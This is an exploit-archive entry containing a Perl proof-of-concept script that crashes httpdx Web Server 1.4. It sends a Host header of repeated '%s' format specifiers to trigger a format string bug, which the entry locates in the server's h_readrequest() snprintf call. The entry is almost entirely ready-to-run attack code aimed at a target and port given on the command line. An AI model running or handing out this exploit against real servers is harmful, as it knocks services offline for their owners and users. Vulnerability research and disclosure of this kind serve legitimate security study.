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httpdx Web Server 1.4 (Host Header) Remote Format String DoS Exploit
[====================================================================
httpdx Web Server 1.4 (Host Header) Remote Format String DoS Exploit
====================================================================
# httpdx Web Server 1.4 'Host Header' Remote Format String Denial of Service PoC
#
# Coded by Pankaj Kohli
#
# httpdx web server 1.4 is vulnerable to a remote format string vulnerability through the Host header.
# The vulnerability lies in httpd_src/http.cpp in h_readrequest() : snprintf(temp[1],MAX,client->host);
#
use LWP;
(($target = $ARGV[0]) && ($port = $ARGV[1])) || die "Usage: $0 <target> <port> \n";
my $ua = new LWP::UserAgent;
print "Connecting to $target on port $port\n";
my $request = new HTTP::Request('GET', "http://" . $target . ":" . $port);
print "Sending evil header \n";
my $host_header = "%s"x32;
$request->header('Host', $host_header); my $response = $ua->request($request);
if ($response->is_success) { print "DoS Failed \n" }
else { print "DoS Successful \n" }
# 0day.today [2024-12-23] #